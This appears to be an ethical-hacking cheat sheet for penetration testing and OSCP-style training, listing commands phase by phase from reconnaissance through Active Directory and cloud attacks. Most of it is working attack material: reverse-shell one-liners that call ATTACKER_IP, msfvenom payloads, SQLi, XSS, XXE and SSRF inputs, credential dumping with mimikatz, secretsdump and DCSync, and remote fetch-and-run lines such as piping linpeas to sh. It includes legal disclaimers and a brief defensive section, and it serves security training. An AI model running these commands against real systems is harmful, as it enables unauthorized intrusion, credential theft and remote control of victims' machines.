Ethical Hacking
CHEAT SHEET
Penetration Testing • CTF • Security Research
⚠ For authorized testing only — always get written permission
① Recon ② Scanning ③ Web ④ Exploit ⑤ Post ⑥ AD ⑦ Cloud ⑧ Defense
No results for ""
Try a different keyword or switch to ALL mode
── Phase 1: Reconnaissance ──
🔍 Passive Recon (OSINT)
whois target.com
dig any target.com host -a target.com
sublist3r -d target.com amass enum -d target.com
site:target.com filetype:pdf intitle:"index of" site:target.com inurl:admin site:target.com
hostname:target.com
Search for exposed services, certs, banners
theHarvester -d target.com -b all
🌐 Active Recon
nmap -sn 192.168.1.0/24
traceroute target.com nmap --traceroute target.com
dig axfr @ns1.target.com target.com
nc -v target.com 80 curl -I https://target.com
whatweb target.com wafw00f target.com
Also use Wappalyzer browser extension
── Phase 2: Scanning & Enumeration ──
📡 Nmap Essentials
nmap -T4 -F target.com
nmap -p- -T4 target.com
nmap -sV -sC target.com
nmap -O target.com
nmap -A -T4 target.com
nmap -sS target.com
nmap -sU --top-ports 200 target.com
nmap --script vuln target.com nmap --script smb-vuln* -p 445 target
nmap -oA scan_output target.com
📂 Service Enumeration
enum4linux -a target smbclient -L \\\\target crackmapexec smb target
ftp target # try anonymous login
ssh-audit target
snmpwalk -c public -v1 target
ldapsearch -x -h target -b "dc=domain,dc=com"
rpcclient -U "" target
mysql -h target -u root -p
── Web Application Testing ──
🕸️ Web Recon & Fuzzing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt feroxbuster -u http://target.com
ffuf -w wordlist.txt -u http://FUZZ.target.com
ffuf -w params.txt -u "http://target.com/page?FUZZ=val"
nikto -h http://target.com
gospider -s http://target.com -o output
💉 Web Vulnerabilities (OWASP Top 10)
' OR 1=1 -- sqlmap -u "http://target/page?id=1" --dbs
<script>alert(1)</script> "><img src=x onerror=alert(1)>
?file=../../../../etc/passwd ?file=....//....//etc/passwd
?url=http://127.0.0.1:80 ?url=http://169.254.169.254/latest/meta-data/
; ls -la | whoami `id`
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
Intercept → Modify → Repeat → Intruder for fuzzing → Scanner for automation
🔑 Password Attacks
hydra -l admin -P rockyou.txt ssh://target hydra -l admin -P rockyou.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
hashcat -m 0 hash.txt rockyou.txt hashcat -m 1000 ntlm.txt rockyou.txt
-m 0=MD5, 100=SHA1, 1000=NTLM, 1800=SHA-512
john --wordlist=rockyou.txt hashes.txt john --show hashes.txt
Try admin:admin, admin:password, root:root, admin:<blank>
Check defaultpassword.us or cirt.net
── Phase 3: Exploitation ──
🎯 Metasploit Framework
msfconsole search eternalblue search type:exploit platform:windows
use exploit/windows/smb/ms17_010_eternalblue show options set RHOSTS 192.168.1.100 set LHOST 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp show payloads
run exploit -j # background job
🐚 Reverse Shells
nc -lvnp 4444
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
php -r '$sock=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -e /bin/bash ATTACKER_IP 4444
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444)"
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
── Phase 4: Post-Exploitation ──
🔺 Privilege Escalation — Linux
uname -a && id && whoami cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null
Check GTFOBins for exploitation paths
sudo -l
cat /etc/crontab ls -la /etc/cron.*
find / -writable -type f 2>/dev/null | grep -v proc
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
uname -r # check kernel version
Search CVEs — DirtyPipe (5.8–5.16), Dirty COW, PwnKit (pkexec)
wget http://ATTACKER_IP/file -O /tmp/file curl http://ATTACKER_IP/file -o /tmp/file
🪟 Privilege Escalation — Windows
whoami /priv systeminfo net localgroup administrators
sc query state= all tasklist /SVC
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\\Windows"
.\winPEAS.exe
use incognito list_tokens -u impersonate_token "DOMAIN\\Administrator"
pth-winexe -U admin%HASH //target cmd
powershell -c "Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\tmp\file" certutil -urlcache -split -f http://ATTACKER/file file.exe
📊 Meterpreter Cheat Sheet
sysinfo getuid getsystem
download /etc/shadow . upload shell.exe C:\\temp\\ search -f *.txt
run persistence -h
run autoroute -s 10.10.10.0/24 portfwd add -l 3389 -p 3389 -r 10.10.10.5
hashdump run post/multi/recon/local_exploit_suggester
🔗 Network & Pivoting
ssh -L 8080:target:80 user@jump ssh -D 1080 user@jump # SOCKS proxy
chisel server -p 8000 --reverse
chisel client ATTACKER:8000 R:1080:socks
proxychains nmap -sT -p80,443 internal_target
tcpdump -i eth0 -w capture.pcap wireshark capture.pcap
arpspoof -i eth0 -t victim gateway bettercap -iface eth0
📶 Wireless (WiFi)
airmon-ng start wlan0
airodump-ng wlan0mon airodump-ng -c 6 --bssid AA:BB:CC:DD -w capture wlan0mon
aireplay-ng -0 5 -a BSSID wlan0mon
aircrack-ng -w rockyou.txt capture.cap
reaver -i wlan0mon -b BSSID -vv
── Advanced: Active Directory ──
🏰 AD Enumeration
bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c All SharpHound.exe -c All --zipfilename bh_out.zip
Get-NetDomain Get-NetUser | select samaccountname Get-NetGroup "Domain Admins" -FullData Find-LocalAdminAccess
crackmapexec smb DC_IP -u user -p pass --users crackmapexec smb DC_IP -u user -p pass --shares crackmapexec smb 192.168.1.0/24 -u user -p pass
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=local" "(objectClass=user)"
⚔️ AD Attacks
impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP -request Invoke-Kerberoast -OutputFormat Hashcat | fl
Crack with: hashcat -m 13100 hashes.txt rockyou.txt
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat
Targets accounts with "Do not require Kerberos preauthentication"
impacket-ticketer -nthash HASH -domain-sid SID -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec domain.local/Administrator@target -k -no-pass
impacket-secretsdump domain.local/admin:pass@DC_IP Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
impacket-psexec domain/user:pass@target impacket-wmiexec domain/user:pass@target impacket-smbexec domain/user:pass@target
privilege::debug sekurlsa::logonpasswords lsadump::sam
── Advanced: Cloud Hacking ──
☁️ AWS Enumeration
aws configure aws sts get-caller-identity
aws iam get-user aws iam list-users aws iam list-attached-user-policies --user-name USER
aws s3 ls aws s3 ls s3://bucket-name --no-sign-request aws s3 cp s3://bucket-name/file . --no-sign-request
aws ec2 describe-instances aws ec2 describe-security-groups
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/
Retrieve temp credentials → configure AWS CLI → enumerate as that role
pacu # AWS exploitation framework scout suite --provider aws # multi-cloud auditing
🔷 Azure Enumeration
az login az account show az ad signed-in-user show
az ad user list --output table az ad group list --output table az ad group member list --group "Global Administrators"
az resource list --output table az vm list --output table az storage account list --output table
roadrecon gather # Azure AD recon Invoke-EnumerateAzureBlobs -Base target # MicroBurst
── OSCP Tips & Methodology ──
🎓 OSCP Exam Tips
1. Enumerate everything before exploiting anything
2. Always check for low-hanging fruit: default creds, anonymous login, outdated software
3. If stuck → re-enumerate, check other ports/services
4. Document every step — screenshots + commands
searchsploit apache 2.4 searchsploit -m 42966 # copy exploit to current dir searchsploit --update
knock target 1234 5678 9012 for port in 1234 5678 9012; do nmap -Pn --host-timeout 201 --max-retries 0 -p $port target; done
python3 -m http.server 8080 python3 -m uploadserver # supports POST uploads
gcc exploit.c -o exploit -m32 # 32-bit gcc exploit.c -o exploit # 64-bit cross-compile: i686-linux-gnu-gcc exploit.c -o exploit
Always try found credentials on all services: SSH, FTP, SMB, RDP, web panels
📋 Quick Wins Checklist
☐ Anonymous FTP / SMB access
☐ Default credentials on web apps / services
☐ Outdated software (check version → searchsploit)
☐ Exposed .git / .env / backup files
☐ SQLi / LFI on web app parameters
☐ Writable shares with executable files
☐ sudo -l (any NOPASSWD entries?)
☐ SUID binaries → GTFOBins
☐ Cron jobs running as root
☐ Writable /etc/passwd or /etc/shadow
☐ World-writable scripts run by root
☐ Credentials in config files / history
cat ~/.bash_history grep -r "password" /etc/ 2>/dev/null find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "pass" 2>/dev/null
── Defensive Knowledge ──
🛡️ Key Defensive Concepts
• Disable unused services & ports
• Patch OS and software regularly
• Enforce least-privilege access
• Enable MFA everywhere possible
• Use WAF, IDS/IPS, and SIEM
tail -f /var/log/auth.log grep "Failed password" /var/log/auth.log
ss -tulpn netstat -ano # Windows
crontab -l && ls /etc/cron* reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
📚 Essential Tools & Resources
Kali Linux Parrot OS BlackArch
HackTheBox TryHackMe VulnHub PentesterLab
GTFOBins — Linux binary escapes
LOLBAS — Windows binary escapes
PayloadsAllTheThings — GitHub
HackTricks — Comprehensive guide
CVE Details — CVE database
CompTIA Security+ → eJPT → CEH → OSCP → CRTO
ls /usr/share/wordlists/
rockyou.txt, SecLists (GitHub), dirbuster lists
🗺️ Pentest Methodology Quick Reference
OSINT, DNS, WHOIS, Shodan, Google Dorks
Nmap, service detection, OS fingerprinting
SQLi, XSS, LFI, SSRF, fuzzing, Burp Suite
Metasploit, manual exploits, password attacks
Privesc, persistence, lateral movement
BloodHound, Kerberoasting, DCSync, Mimikatz
AWS IAM, S3, metadata SSRF, Azure AD
CVSS ratings, remediation, executive summary
⚠ LEGAL REMINDER: Only test systems you own or have explicit written authorization to test. Unauthorized hacking is illegal under the CFAA (US), Computer Misuse Act (UK), and similar laws worldwide. Always operate within a defined scope and rules of engagement.